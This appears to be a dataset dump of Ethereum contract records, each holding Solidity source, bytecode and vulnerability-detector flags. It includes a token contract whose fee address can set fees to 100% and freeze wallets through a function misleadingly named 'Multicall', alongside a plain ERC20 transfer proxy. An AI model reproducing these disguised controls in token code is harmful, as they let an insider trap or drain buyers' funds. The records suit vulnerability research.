_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 645000000 * 10**9; // 1.5%
_maxHeldTokens = 1290000000 * 10**9; // 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 100);
require(sell <= 100);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf914610573578063db92dbb614610588578063dcb0e0ad1461059d578063dd62ed3e146105bd578063e8078d941461060357600080fd5b806395d89b4114610227578063a9059cbb14610528578063b2131f7d14610548578063c3c8cd801461055e57600080fd5b8063715018a6116100dc578063715018a6146104b55780637a49cddb146104ca5780638da5cb5b146104ea57806394b8d8f21461050857600080fd5b8063509016171461044a578063590f897e1461046a5780636fc3eaec1461048057806370a082311461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a357806340b9a54b146103dc57806345596e2e146103f257806349bd5a5e1461041257600080fd5b806327f3a72a14610331578063313ce5671461034657806331c2d8471461036d57806332d873d81461038d57600080fd5b80630b78f9c0116101c15780630b78f9c0146102bf57806318160ddd146102df5780631940d020146102fb57806323b872dd1461031157600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f61461026d578063095ea7b31461028f57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102606040518060400160405280600d81526020016c0a8eed2e8e8cae4a6e0c2c6cab609b1b81525081565b60405161021e9190611b9b565b34801561027957600080fd5b5061028d610288366004611c15565b610618565b005b34801561029b57600080fd5b506102af6102aa366004611c32565b61068d565b604051901515815260200161021e565b3480156102cb57600080fd5b5061028d6102da366004611c5e565b6106a3565b3480156102eb57600080fd5b50680254beb02d1dcc0000610214565b34801561030757600080fd5b50610214600f5481565b34801561031d57600080fd5b506102af61032c366004611c80565b610726565b34801561033d57600080fd5b5061021461080e565b34801561035257600080fd5b5061035b600981565b60405160ff909116815260200161021e565b34801561037957600080fd5b5061028d610388366004611cd7565b61081e565b34801561039957600080fd5b5061021460105481565b3480156103af57600080fd5b506102af6103be366004611c15565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e857600080fd5b50610214600b5481565b3480156103fe57600080fd5b5061028d61040d366004611d9c565b6108aa565b34801561041e57600080fd5b50600a54610432906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045657600080fd5b5061028d610465366004611c15565b61096e565b34801561047657600080fd5b50610214600c5481565b34801561048c57600080fd5b5061028d6109dc565b3480156104a157600080fd5b506102146104b0366004611c15565b610a09565b3480156104c157600080fd5b5061028d610a24565b3480156104d657600080fd5b5061028d6104e5366004611cd7565b610a98565b3480156104f657600080fd5b506000546001600160a01b0316610432565b34801561051457600080fd5b506011546102af9062010000900460ff1681565b34801561053457600080fd5b506102af610543366004611c32565b610ba7565b34801561055457600080fd5b50610214600d5481565b34801561056a57600080fd5b5061028d610bb4565b34801561057f57600080fd5b5061028d610bea565b34801561059457600080fd5b50610214610c8c565b3480156105a957600080fd5b5061028d6105b8366004611dc3565b610ca4565b3480156105c957600080fd5b506102146105d8366004611de0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561060f57600080fd5b5061028d610d21565b6008546001600160a01b0316336001600160a01b03161461063857600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b600061069a338484611068565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106c357600080fd5b60648211156106d157600080fd5b60648111156106df57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561075457506001600160a01b03831660009081526004602052604090205460ff16155b801561076d5750600a546001600160a01b038581169116145b156107bc576001600160a01b03831632146107bc5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107c784848461118c565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107f6908490611e2f565b9050610803853383611068565b506001949350505050565b600061081930610a09565b905090565b6008546001600160a01b0316336001600160a01b03161461083e57600080fd5b60005b81518110156108a65760006006600084848151811061086257610862611e46565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061089e81611e5c565b915050610841565b5050565b6000546001600160a01b031633146108d45760405162461bcd60e51b81526004016107b390611e75565b6008546001600160a01b0316336001600160a01b0316146108f457600080fd5b600081116109395760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107b3565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610682565b6009546001600160a01b0316336001600160a01b03161461098e57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610682565b6008546001600160a01b0316336001600160a01b0316146109fc57600080fd5b47610a06816117fa565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b81526004016107b390611e75565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ab857600080fd5b60005b81518110156108a657600a5482516001600160a01b0390911690839083908110610ae757610ae7611e46565b60200260200101516001600160a01b031614158015610b38575060075482516001600160a01b0390911690839083908110610b2457610b24611e46565b60200260200101516001600160a01b031614155b15610b9557600160066000848481518110610b5557610b55611e46565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b9f81611e5c565b915050610abb565b600061069a33848461118c565b6008546001600160a01b0316336001600160a01b031614610bd457600080fd5b6000610bdf30610a09565b9050610a068161187f565b6000546001600160a01b03163314610c145760405162461bcd60e51b81526004016107b390611e75565b60115460ff1615610c615760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107b3565b6011805460ff19166001179055426010556708f3801528208000600e556711e7002a50410000600f55565b600a54600090610819906001600160a01b0316610a09565b6000546001600160a01b03163314610cce5760405162461bcd60e51b81526004016107b390611e75565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610682565b6000546001600160a01b03163314610d4b5760405162461bcd60e51b81526004016107b390611e75565b60115460ff1615610d985760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107b3565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dd53082680254beb02d1dcc0000611068565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e379190611eaa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea89190611eaa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ef5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f199190611eaa565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f4981610a09565b600080610f5e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610feb9190611ec7565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611044573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a69190611ef5565b6001600160a01b0383166110ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b3565b6001600160a01b03821661112b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111f05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b3565b6001600160a01b0382166112525760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b3565b600081116112b45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b3565b6001600160a01b03831660009081526006602052604090205460ff16156113295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107b3565b600080546001600160a01b0385811691161480159061135657506000546001600160a01b03848116911614155b1561179b57600a546001600160a01b03858116911614801561138657506007546001600160a01b03848116911614155b80156113ab57506001600160a01b03831660009081526004602052604090205460ff16155b156116375760115460ff166114025760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107b3565b60105442036114415760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107b3565b42601054610e106114529190611f12565b11156114cc57600f5461146484610a09565b61146e9084611f12565b11156114cc5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107b3565b6001600160a01b03831660009081526005602052604090206001015460ff16611534576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105460786115449190611f12565b111561161857600e5482111561159c5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107b3565b6115a742600f611f12565b6001600160a01b038416600090815260056020526040902054106116185760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107b3565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611651575060115460ff165b801561166b5750600a546001600160a01b03858116911614155b1561179b5761167b42600f611f12565b6001600160a01b038516600090815260056020526040902054106116ed5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107b3565b60006116f830610a09565b905080156117845760115462010000900460ff161561177b57600d54600a546064919061172d906001600160a01b0316610a09565b6117379190611f2a565b6117419190611f49565b81111561177b57600d54600a5460649190611764906001600160a01b0316610a09565b61176e9190611f2a565b6117789190611f49565b90505b6117848161187f565b47801561179457611794476117fa565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806117dd57506001600160a01b03841660009081526004602052604090205460ff165b156117e6575060005b6117f385858584866119f3565b5050505050565b6008546001600160a01b03166108fc611814600284611f49565b6040518115909202916000818181858888f1935050505015801561183c573d6000803e3d6000fd5b506009546001600160a01b03166108fc611857600284611f49565b6040518115909202916000818181858888f193505050501580156108a6573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118c3576118c3611e46565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561191c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119409190611eaa565b8160018151811061195357611953611e46565b6001600160a01b0392831660209182029290920101526007546119799130911684611068565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119b2908590600090869030904290600401611f6b565b600060405180830381600087803b1580156119cc57600080fd5b505af11580156119e0573d6000803e3d6000fd5b50506011805461ff001916905550505050565b60006119ff8383611a15565b9050611a0d86868684611a5c565b505050505050565b6000808315611a55578215611a2d5750600b54611a55565b50600c54601054611a4090610384611f12565b421015611a5557611a52600582611f12565b90505b9392505050565b600080611a698484611b39565b6001600160a01b0388166000908152600260205260409020549193509150611a92908590611e2f565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ac2908390611f12565b6001600160a01b038616600090815260026020526040902055611ae481611b6d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b2991815260200190565b60405180910390a3505050505050565b600080806064611b498587611f2a565b611b539190611f49565b90506000611b618287611e2f565b96919550909350505050565b30600090815260026020526040902054611b88908290611f12565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bc857858101830151858201604001528201611bac565b81811115611bda576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a0657600080fd5b8035611c1081611bf0565b919050565b600060208284031215611c2757600080fd5b8135611a5581611bf0565b60008060408385031215611c4557600080fd5b8235611c5081611bf0565b946020939093013593505050565b60008060408385031215611c7157600080fd5b50508035926020909101359150565b600080600060608486031215611c9557600080fd5b8335611ca081611bf0565b92506020840135611cb081611bf0565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611cea57600080fd5b823567ffffffffffffffff80821115611d0257600080fd5b818501915085601f830112611d1657600080fd5b813581811115611d2857611d28611cc1565b8060051b604051601f19603f83011681018181108582111715611d4d57611d4d611cc1565b604052918252848201925083810185019188831115611d6b57600080fd5b938501935b82851015611d9057611d8185611c05565b84529385019392850192611d70565b98975050505050505050565b600060208284031215611dae57600080fd5b5035919050565b8015158114610a0657600080fd5b600060208284031215611dd557600080fd5b8135611a5581611db5565b60008060408385031215611df357600080fd5b8235611dfe81611bf0565b91506020830135611e0e81611bf0565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e4157611e41611e19565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e6e57611e6e611e19565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ebc57600080fd5b8151611a5581611bf0565b600080600060608486031215611edc57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f0757600080fd5b8151611a5581611db5565b60008219821115611f2557611f25611e19565b500190565b6000816000190483118215151615611f4457611f44611e19565b500290565b600082611f6657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fbb5784516001600160a01b031683529383019391830191600101611f96565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122035e1f6e993198edbc4de28e57e54176a09d1020c37714cd27f3ff359546f35c664736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,941 |
0xd8294cb84580fd00f28b2b7f75d947589ab06b49
|
/**
*Submitted for verification at Etherscan.io on 2020-11-17
*/
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract OperatorRole is Context {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor () internal {
}
modifier onlyOperator() {
require(isOperator(_msgSender()), "OperatorRole: caller does not have the Operator role");
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OwnableOperatorRole is Ownable, OperatorRole {
function addOperator(address account) external onlyOwner {
_addOperator(account);
}
function removeOperator(address account) external onlyOwner {
_removeOperator(account);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20TransferProxy is OwnableOperatorRole {
function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external onlyOperator {
require(token.transferFrom(from, to, value), "failure while transferring");
}
}
|
0x608060405234801561001057600080fd5b50600436106100885760003560e01c80638f32d59b1161005b5780638f32d59b146101cb5780639870d7fe146101ed578063ac8a584a14610231578063f2fde38b1461027557610088565b80636d70f7ae1461008d578063715018a6146100e9578063776062c3146100f35780638da5cb5b14610181575b600080fd5b6100cf600480360360208110156100a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102b9565b604051808215151515815260200191505060405180910390f35b6100f16102d6565b005b61017f6004803603608081101561010957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061040f565b005b6101896105e2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101d361060b565b604051808215151515815260200191505060405180910390f35b61022f6004803603602081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610669565b005b6102736004803603602081101561024757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106ef565b005b6102b76004803603602081101561028b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610775565b005b60006102cf8260016107fb90919063ffffffff16565b9050919050565b6102de61060b565b610350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61041f61041a6108d9565b6102b9565b610474576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180610c986034913960400191505060405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561052f57600080fd5b505af1158015610543573d6000803e3d6000fd5b505050506040513d602081101561055957600080fd5b81019080805190602001909291905050506105dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f6661696c757265207768696c65207472616e7366657272696e6700000000000081525060200191505060405180910390fd5b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661064d6108d9565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b61067161060b565b6106e3576040517f08c379a0000000000000000000